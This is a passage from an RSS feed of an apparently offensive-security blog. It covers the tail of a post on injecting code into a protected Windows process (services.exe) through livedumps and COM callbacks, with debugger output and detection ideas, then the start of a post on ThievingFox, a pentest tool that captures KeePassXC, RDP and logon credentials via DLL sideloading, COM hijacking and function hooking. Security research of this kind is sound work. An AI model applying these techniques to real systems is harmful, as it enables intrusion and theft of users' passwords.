Rust&lt;/a&gt;, which is probably much better but I&amp;rsquo;m too lazy to change).&lt;/p&gt;&#xA;&lt;p&gt;First, we locate the &lt;code&gt;PsActiveProcessHead&lt;/code&gt;, which points to an entry in the doubly-linked of processes in kernel memory containing the &lt;code&gt;EPROCESS&lt;/code&gt; structure of all processes. When the target PID is found, we read the &lt;code&gt;DirectoryTableBase&lt;/code&gt; field of the &lt;code&gt;EPROCESS&lt;/code&gt;, which corresponds to the PML4 entry for the virtual memory of &lt;code&gt;services.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We also parse the memory of &lt;code&gt;services.exe&lt;/code&gt; within the livedump&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To find the COM process secret and context, the easiest way is to use symbols. In their article, MDSec showed how to find the address without symbols, so this can work as well.&lt;/p&gt;&#xA;&lt;p&gt;There are two values that we are interested in: the COM context and process secret.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Within the memory of RPCSS, we locate an &lt;code&gt;IPID&lt;/code&gt; and &lt;code&gt;OXID&lt;/code&gt; associated with the &lt;code&gt;IRundown&lt;/code&gt; interface in the &lt;code&gt;services.exe&lt;/code&gt; process&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Since this process does not run as &lt;em&gt;PPL&lt;/em&gt;, its memory can be read as a process having &lt;code&gt;SeDebugPrivilege&lt;/code&gt; using &lt;code&gt;ReadProcessMemory&lt;/code&gt; and similar APIs.&lt;/p&gt;&#xA;&lt;p&gt;The symbol &lt;code&gt;gpServerOxidTable&lt;/code&gt; within &lt;code&gt;rpcss.dll&lt;/code&gt; points to a structure, which contains a number of &lt;code&gt;CServerOXID&lt;/code&gt; entries.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dp rpcss!gpServerOxidTable&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00007ffe`20c5ed08  00000284`dd6412d0 00000284`dd641410&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dp 00000284`dd6412d0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`dd6412d0  0000011f`00000200 00000284`de1d9750&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      ^        ^             ^&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      |        |             |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      |        |             |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      |    Array Max Size    |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                      |                      |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;              Current Array Size      Array Address&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dp 00000284`de1d9750&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de1d9750  00000284`de0ba250 00000284`dddcc250&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de1d9760  00000000`00000000 00000284`de797490&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de1d9770  00000284`de7f89e0 00000284`de058150&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although the &lt;code&gt;CServerOXID&lt;/code&gt; structure is undocumented, there are three fields we are interested in: one is the &lt;em&gt;IPID&lt;/em&gt; of the &lt;code&gt;IRundown&lt;/code&gt; interface, one is the &lt;code&gt;OXID&lt;/code&gt; of the object.&#xA;The other is a pointer to the associated &lt;code&gt;CProcess&lt;/code&gt; structure, which holds the PID of the process where the object lives.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dt nt!_GUID 00000284`de0ba250 + 0x60&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ntdll!_GUID&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt; {0000bc0e-2370-1478-2908-8cd7ff79d45f} &amp;lt;-- IPID of the IRundown interface&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dp 00000284`de0ba250 + 0x20&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de0ba270  00000284`de7df650 00000012`00000000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                          ^&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                          |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                          |&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    CProcess entry&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; du poi(00000284`de7df650 + 0x180)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de06e740  &amp;#34;C:\Program Files\WindowsApps\Mic&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de06e780  &amp;#34;rosoft.WindowsTerminal_1.19.1121&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de06e7c0  &amp;#34;3.0_x64__8wekyb3d8bbwe\WindowsTe&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de06e800  &amp;#34;rminal.exe&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0:000&amp;gt; dd 00000284`de7df650+0x58&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;00000284`de7df6a8  00002370 &amp;lt;-- PID of the process, here WindowsTerminal.exe&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;&#xA;&lt;li&gt;Finally, we use the &lt;code&gt;IRundown::DoCallback&lt;/code&gt; method repeatedly, to invoke &lt;code&gt;combase!CStdStubBuffer_AddRef&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Using the arbitrary increment, we craft valid &lt;code&gt;RPC_MESSAGE&lt;/code&gt;s for the next function calls, with valid arguments.&lt;/p&gt;&#xA;&lt;p&gt;If the target &lt;code&gt;services.exe&lt;/code&gt; is a new process without &lt;em&gt;Arbitrary Code Guard&lt;/em&gt;, the chain of &lt;code&gt;RPC_MESSAGE&lt;/code&gt; can be used to allocate a RWX buffer, copy a shellcode and execute it.&lt;/p&gt;&#xA;&lt;p&gt;Otherwise, if the &lt;code&gt;services.exe&lt;/code&gt; is the original one, the payload must be mapped via &lt;code&gt;NtMapViewOfSection&lt;/code&gt; in the process.&#xA;The easiest way would be to change the protection of &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt;, write a valid handle to a &lt;code&gt;Directory object&lt;/code&gt; containing section ojects, then call &lt;code&gt;LoadLibraryA&lt;/code&gt;. However, I decided it would be interesting to explore how to do it without leveraging &lt;code&gt;ntdll!LdrpKnownDllDirectoryHandle&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In the exploit process, we call &lt;code&gt;NtCreateSection&lt;/code&gt; on an unsigned DLL. Then, using the ability to call functions within &lt;code&gt;services.exe&lt;/code&gt;, open the exploit process using &lt;code&gt;NtOpenProcess&lt;/code&gt;, and duplicate the section handle of the unsigned DLL using &lt;code&gt;NtDuplicateObject&lt;/code&gt;. With this, we have a valid handle to a &lt;code&gt;Section&lt;/code&gt; object inside &lt;code&gt;services.exe&lt;/code&gt;, without having performed the signature verification. This &lt;code&gt;Section&lt;/code&gt; object can then be mapped with &lt;code&gt;NtMapViewOfSection&lt;/code&gt;. The downside of this approach is although the DLL is mapped, relocations are not fixed, as they are usually done in the call to &lt;code&gt;LdrLoadDll&lt;/code&gt; and not in the &lt;code&gt;NtMapViewOfSection&lt;/code&gt; syscall.&lt;/p&gt;&#xA;&lt;p&gt;I have implemented a proof of concept for this strategy, available &lt;a href=&#34;https://github.com/Slowerzs/PPLSystem&#34;&gt;on Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;detections-ideas-and-takeaways&#34;&gt;Detections ideas and takeaways&lt;/h2&gt;&#xA;&lt;p&gt;Regarding detection, the &lt;code&gt;Kernel-LiveDump&lt;/code&gt; log source generates events when such a dump is created, in particular, event IDs 2, 3, and 4 seem relevant.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-plaintext&#34; data-lang=&#34;plaintext&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;PS&amp;gt; Get-WinEvent -LogName Microsoft-Windows-Kernel-LiveDump/Operational -MaxEvents 3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   ProviderName: Microsoft-Windows-Kernel-LiveDump&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;TimeCreated                      Id LevelDisplayName Message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;-----------                      -- ---------------- -------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;5/20/2024 1:09:57 PM              2 Information      Live Dump Capture Dump Data API ended. NT Status: STATUS_SUCCESS.  BugcheckCode: 353. BugcheckParameter1: 0x0. BugcheckParameter2: 0x0. BugcheckParameter3: 0x0. BugcheckParameter4: 0x0. AbortIfMemoryPressure: 0. DumpCaptureDuration: 2313ms. SelectiveDump: 0. DynamicLowMemoryThreshold: 0 bytes.  AvailablePhysicalMemory: 7430266880 bytes. TotalPhysicalMemory: 16849256448 bytes.  IOSpaceEnabled: false.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;5/20/2024 1:09:57 PM              4 Information      Writing dump file ended. NT Status: 0x0. Total 3116253184 bytes (Header|Primary|Secondary: 1802240|3114450944|0 bytes). DumpWriteDuration: 1712ms.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;5/20/2024 1:09:55 PM              3 Information      Writing dump file started.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This might also help detect the &lt;a href=&#34;https://github.com/y00ga-sec/Forensike&#34;&gt;misuse&lt;/a&gt; of legitimate RAM acquisition tools for offensive purposes, though I haven&amp;rsquo;t investigated whether these drivers leverage the same kernel API or perform the dump without it.&lt;/p&gt;&#xA;&lt;p&gt;In combination, &lt;em&gt;Arbitrary Code Guard&lt;/em&gt; and &lt;em&gt;PPL&lt;/em&gt; should work well together to prevent code injection, somewhat similarily to &lt;a href=&#34;https://connormcgarr.github.io/hvci/&#34;&gt;&lt;em&gt;HVCI&lt;/em&gt;&lt;/a&gt;, but due to the limitations of each, they fall short of the goal. In particular, the absence of verification during the mapping is a design flaw that has remained unfixed since the first report about it.&#xA;It would be interesting to require &lt;em&gt;PPL&lt;/em&gt; processes to be started with &lt;em&gt;Arbitrary Code Guard&lt;/em&gt; enabled, but this might have side effects I haven&amp;rsquo;t considered.&lt;/p&gt;&#xA;&lt;p&gt;Finally, this method could be leveraged to inject into &lt;em&gt;Protected Process&lt;/em&gt; as well, but there seems to be little reason to do so as far as I know.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>ThievingFox - Remotely retrieving credentials from password managers and Windows utilities</title>
      <link>https://blog.slowerzs.net/posts/thievingfox/</link>
      <pubDate>Sun, 21 Jan 2024 16:26:38 +0100</pubDate>
      <guid>https://blog.slowerzs.net/posts/thievingfox/</guid>
      <description>&lt;p&gt;ThievingFox is a collection of post-exploitation tools, used to gather credentials from workstations and servers in the context of penetration tests and similar engagements. It works by making the target application load a malicious library, which performs in-memory hooking to gather credentials.&lt;/p&gt;&#xA;&lt;p&gt;During pentests, I&amp;rsquo;ve had great successes using &lt;a href=&#34;https://github.com/GhostPack/KeeThief&#34;&gt;KeeThief&lt;/a&gt; and mimikatz&amp;rsquo;s &lt;code&gt;ts::mstsc&lt;/code&gt; &lt;a href=&#34;https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_ts.c#L335&#34;&gt;module&lt;/a&gt; to gather additional credentials from KeePass and the default RDP client on Windows, on compromised admin workstations.&lt;/p&gt;&#xA;&lt;p&gt;Using these tools, I found some shortcomings, which &lt;code&gt;ThievingFox&lt;/code&gt; aims to address, namely:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not all administrators are necessarily using these specific applications, which requires identifying potential victims&lt;/li&gt;&#xA;&lt;li&gt;Administrators are probably not running with KeePass or the default RDP client at all time, which requires actively waiting for them to open them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;While doing so, I added other targets than KeePass and the default RDP client.&lt;/p&gt;&#xA;&lt;p&gt;The tool can be found on &lt;a href=&#34;https://github.com/Slowerzs/ThievingFox&#34;&gt;Github&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;design-considerations&#34;&gt;Design Considerations&lt;/h2&gt;&#xA;&lt;p&gt;At a high level, ThievingFox works by injecting code inside the targeted application, which then hooks sensitives functionalities, enabling the capture of credentials.&#xA;When designing ThievingFox, a few goals were defined.&lt;/p&gt;&#xA;&lt;p&gt;Firstly, the hooking process should be transparent to the end user - since the goal of ThievingFox is to assist in pentests, it should not impact the use of the application.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore, the hooking process should be somewhat stable for a given target application. Unlike other tools and proof of concepts that have a similar goal, ThievingFox does &lt;em&gt;not&lt;/em&gt; use byte-pattern signatures to identify target functions, because these signatures can be very fragile between environments and versions. This make the finding interesting places to hook more challenging.&#xA;Without signatures, we can&amp;rsquo;t directly hook the functions responsible for processing the credentials, so instead I tried to find libraries with exported symbols, that are somehow used in processing the credentials, to hook them. This makes the hooking more robust, because the external functions  from other libraries used are less likely to change across versions and environments.&lt;/p&gt;&#xA;&lt;p&gt;Finally, many sanity checks are performed to lower the risk of breaking any functionality of the legitimate application.&lt;/p&gt;&#xA;&lt;p&gt;As a prerequisite to using &lt;code&gt;ThievingFox&lt;/code&gt;, local administrator privileges must be obtained, and SMB access must not be filtered.&lt;/p&gt;&#xA;&lt;h3 id=&#34;active-vs-passive-injections&#34;&gt;Active vs Passive injections&lt;/h3&gt;&#xA;&lt;p&gt;Regardless of the targeted application, in order to capture credentials, the application must be hooked.&#xA;To be able to hook any function, we must be able to run some code within the targeted process. And, for that, some form of process injection must be performed.&lt;/p&gt;&#xA;&lt;p&gt;A first option would be to perform some form of &amp;ldquo;active&amp;rdquo; injection - a combination of some sort of the &lt;code&gt;OpenProcess&lt;/code&gt;/&lt;code&gt;WriteProcessMemory&lt;/code&gt;/&lt;code&gt;CreateRemoteThread&lt;/code&gt; API calls.&lt;/p&gt;&#xA;&lt;p&gt;This has several downsides :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;These Windows API and the associated syscalls are heavily monitored by EDR/AV.&lt;/li&gt;&#xA;&lt;li&gt;This would require some form of polling to determine whether a victim process is running, which is not ideal for performance reasons.&lt;/li&gt;&#xA;&lt;li&gt;To actually perform the polling, the most the common options would be to either use WMI or create a remote process, both of which could be detected and blocked as a form of lateral movement.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;All these reasons made &amp;ldquo;passive&amp;rdquo; injections preferable. Instead of actively injecting code inside the victim process whenever it is detected, we trick the victim application to load our additional code whenever it is started.&#xA;This resolves all main issues: no polling, no lateral movement to actively create a process on a remote host, and &amp;ldquo;passive&amp;rdquo; injections do not need to call monitored Windows API.&lt;/p&gt;&#xA;&lt;p&gt;Different techniques are used to perform these &amp;ldquo;passive&amp;rdquo; injections, detailed in later sections.&lt;/p&gt;&#xA;&lt;h3 id=&#34;crypto&#34;&gt;Crypto&lt;/h3&gt;&#xA;&lt;p&gt;When any credentials are captured from any application, they must be retrieved by the pentester&amp;rsquo;s machine before being usable.&#xA;At first, an approach of exfiltrating over HTTP was considered, but this requires a permanent listener, and can also be impractical due to firewalling.&#xA;The chosen solution ended up being the storage of captured credentials on the target victim filesystem, and waiting for a later point when the credentials are collected from disk, over SMB.&lt;/p&gt;&#xA;&lt;p&gt;To safely store the credentials on disk, asymmetric cryptography is used - each DLL on the target host embeds a public key, while the private key remains on the machine where &lt;code&gt;ThievingFox&lt;/code&gt; is ran.&lt;/p&gt;&#xA;&lt;p&gt;I opted to use &lt;a href=&#34;https://doc.libsodium.org/&#34;&gt;libsodium&lt;/a&gt; due to its simplicity of use, as well as the presence of bindings in multiple languages (Python, Rust, .NET) - with &lt;a href=&#34;https://doc.libsodium.org/public-key_cryptography/sealed_boxes&#34;&gt;Sealed Boxes&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;native-applications&#34;&gt;Native Applications&lt;/h2&gt;&#xA;&lt;h3 id=&#34;dll-proxying&#34;&gt;DLL Proxying&lt;/h3&gt;&#xA;&lt;p&gt;DLL Sideloading is probably the most well-known technique to inject additional code inside a targeted application.&#xA;The main idea is to hijack one of the imported DLL by the main executable, by abusing the default configuration of the Windows library loader, which searches the corresponding library name in the folder where the executable is located.&lt;/p&gt;&#xA;&lt;p&gt;In the case of our targeted applications, DLL sideloading is impractical for Windows binaries - we don&amp;rsquo;t want to overwrite a DLL inside &lt;code&gt;C:\Windows\System32&lt;/code&gt; that is used by many other applications, which would risk our malicious DLL being loaded in an unexpected process.&lt;/p&gt;&#xA;&lt;p&gt;Consequently, DLL sideloading is only used for one application: &lt;code&gt;KeePassXC&lt;/code&gt;, which ships with multiple DLL, that are nice targets for sideloading. One of the crypto library used by KeePassXC is targeted, &lt;code&gt;argon2.dll&lt;/code&gt;, and is replaced by our hooking DLL:&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/dll_hijacking.png&#34; alt=&#34;hijacked argon2.dll&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;To ensure that the original functionalities offered by the DLL we are replacing still work, we re-export the symbols and forward them to the original DLL.&#xA;To automate this process, this is done during compilation, using Rust build scripts (an example can be found &lt;a href=&#34;https://github.com/Slowerzs/ThievingFox/blob/main/consentfox/build.rs&#34;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;This results in the hooking DLL exporting the following symbols :&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/exports_forwarded_to_argon2_bak.png&#34; alt=&#34;argon2.dll exports&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;As of the first version of &lt;code&gt;ThievingFox&lt;/code&gt;, &lt;code&gt;KeePassXC&lt;/code&gt; is the only application where DLL proxying is used.&lt;/p&gt;&#xA;&lt;h4 id=&#34;hooking-keepassxc&#34;&gt;Hooking KeePassXC&lt;/h4&gt;&#xA;&lt;p&gt;To retrieve the masterkey used to unlock a database, we have to hook some external function to which is handed a reference to the masterkey. In &lt;code&gt;KeePassXC&lt;/code&gt;, the masterkey is very short-lived, and zeroed out as soon as possible.&lt;/p&gt;&#xA;&lt;p&gt;The only function matching this criteria that I could find is &lt;code&gt;Botan::Buffered_Computation::update&lt;/code&gt;, which is the method use to update the internal representation to compute a hash of the masterkey. This can also be seen in the source code &lt;a href=&#34;https://github.com/keepassxreboot/keepassxc/blob/develop/src/crypto/CryptoHash.cpp#L74&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This method is called multiple times, with the masterkey, but also with data we&amp;rsquo;re not interested in. But with a simple heuristic (ensuring that the character sequence is valid UTF-8, and ensuring that all characters are not null-bytes and other non-printable characters), it is possible to filter out masterkeys from the other type of data.&lt;/p&gt;&#xA;&lt;p&gt;Now that we know what function we want to target, we have to perform the actual hooking. I chose to perform simple in-memory byte-patching. To do so I used the &lt;a href=&#34;https://github.com/TsudaKageyu/minhook&#34;&gt;minhook&lt;/a&gt; library, due to its simplicity, its robustness, as well as being easily cross-compilable with Rust (using the &lt;a href=&#34;https://crates.io/crates/minhook-sys/&#34;&gt;minhook-sys crate&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;All of this makes the retrieval of the maskerkey (and potential keyfile) possible whenever a KeePassXC application unlocks a database :&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/keepassxc_poisoning.png&#34; alt=&#34;KeePassXC masterkey and keyfile retreived with ThievingFox&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;A similar approach was used to hook other native applications. To identify what exported symbols to use, a combinaison of &lt;a href=&#34;http://www.rohitab.com/apimonitor&#34;&gt;API Monitor&lt;/a&gt; and manual reverse engineering was used.&lt;/p&gt;&#xA;&lt;h3 id=&#34;com-hijacking&#34;&gt;COM Hijacking&lt;/h3&gt;&#xA;&lt;p&gt;What about other native applications ? As we discussed previously, replacing a DLL in &lt;code&gt;C:\Windows\System32&lt;/code&gt; would not be ideal. Luckily, all Microsoft applications that we are interested in use COM in some form.&lt;/p&gt;&#xA;&lt;p&gt;COM hijacking enables an attacker to load its own library within a process by simply modifying a registry value. The registry value describes the DLL that is loaded when the application tries to instantiate the corresponding COM class. This is perfect for our scenario !&lt;/p&gt;&#xA;&lt;p&gt;Not all classes can be hijacked, the executable that implements the functionalities of the class must be implemented in-process. To determine whether a class is suitable, the necessary information is stored is the registry keys associated with the Class ID (CLSID).&lt;/p&gt;&#xA;&lt;p&gt;Identifying potential COM classes that can be hijacked for a target process can be easily done using &lt;a href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&#34;&gt;ProcMon&lt;/a&gt; :&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/com_hijacking_procmon.png&#34; alt=&#34;Using Procmon to identify classes that can be hijacked&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;This process has been repeated for all targeted applications. For each one, a CLSID that was rarely used by other application has been selected.&lt;/p&gt;&#xA;&lt;h4 id=&#34;hooking-rdcman&#34;&gt;Hooking RDCMan&lt;/h4&gt;&#xA;&lt;p&gt;RDCMan uses CLSID &lt;code&gt;4EB89FF4-7F78-4A0F-8B8D-2BF02E94E4B2&lt;/code&gt;, which is associated with the MsRdpClient5 class, which contains the interface &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/termserv/imsrdpclient5&#34;&gt;IMsRdpClient5&lt;/a&gt;. This interface implements all the necessary functionalities to create a RDP client, including authentication.&#xA;All these functions are implemented inside the &lt;code&gt;mstscax.dll&lt;/code&gt; DLL. In particular, the function used to hand over the password of the account used for authentication is &lt;a href=&#34;https://learn.microsoft.com/en-us/windows/win32/termserv/imsrdpclientadvancedsettings-cleartextpassword&#34;&gt;&lt;code&gt;put_ClearTextPassword&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the symbols for these functions are not exported directly :&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/mstscax_no_exports.png&#34; alt=&#34;Exports of mstscax which do not contain the targeted method&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;But, since the &lt;code&gt;mstscax.dll&lt;/code&gt; DLL which implements COM method is an in-process server, there is no marshalling to invoke COM methods. This means that we can instantiate our own object, look inside its &lt;code&gt;vtable&lt;/code&gt; to find directly the address in memory of the functions we&amp;rsquo;re interested in (the ones related to authentication), and hook them, as we&amp;rsquo;ve done before for KeePassXC !&lt;/p&gt;&#xA;&lt;p&gt;This is the approach that is used for both &lt;code&gt;RDCMan&lt;/code&gt; and &lt;code&gt;MobaXTerm&lt;/code&gt;, which both use a different version of the &lt;code&gt;IMsRdpClient&lt;/code&gt; interface.&lt;/p&gt;&#xA;&lt;h4 id=&#34;hooking-logonui&#34;&gt;Hooking LogonUI&lt;/h4&gt;&#xA;&lt;p&gt;Hooking &lt;code&gt;LogonUI.exe&lt;/code&gt; isn&amp;rsquo;t any different to hooking other native application (in ThievingFox, a combination of COM hijacking and library hooking is used for &lt;code&gt;LogonUI.exe&lt;/code&gt;). However I wanted to highlight the impact.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;LogonUI.exe&lt;/code&gt; is the process responsible for handling credentials when a user who is physically present on the computer unlocks his session. In addition, &lt;code&gt;LogonUI.exe&lt;/code&gt; also handles credentials used for RDP connections (at least, when Restricted Admin is not used).&lt;/p&gt;&#xA;&lt;p&gt;This means that if a server is poisoned, and an administrator uses RDP to connect to this server, its credentials are captured:&lt;/p&gt;&#xA;&lt;div class=&#34;figure&#34;&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://blog.slowerzs.net/images/ThievingFox/logonui_poisoning.png&#34; alt=&#34;Poisoning of LogonUI.exe&#34;&gt;&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;While not all credentials that end up in &lt;code&gt;lsass.exe&lt;/code&gt; go through &lt;code&gt;LogonUI.exe&lt;/code&gt;, but a significant proportion of them do, which is a different way of gathering credentials without touching the actual &lt;code&gt;lsass.exe&lt;/code&gt; process.&lt;/p&gt;&#xA;&lt;h2 id=&#34;net-framework-applications&#34;&gt;.NET Framework applications&lt;/h2&gt;&#xA;&lt;h3 id=&#34;appdomainmanager-injection&#34;&gt;AppDomainManager Injection&lt;/h3&gt;&#xA;&lt;p&gt;Applications that are built using the .NET Framework can use a feature named &lt;code&gt;AppDomainManagers&lt;/code&gt;.&#xA;An &lt;code&gt;AppDomain&lt;/code&gt; is an instance of the .NET 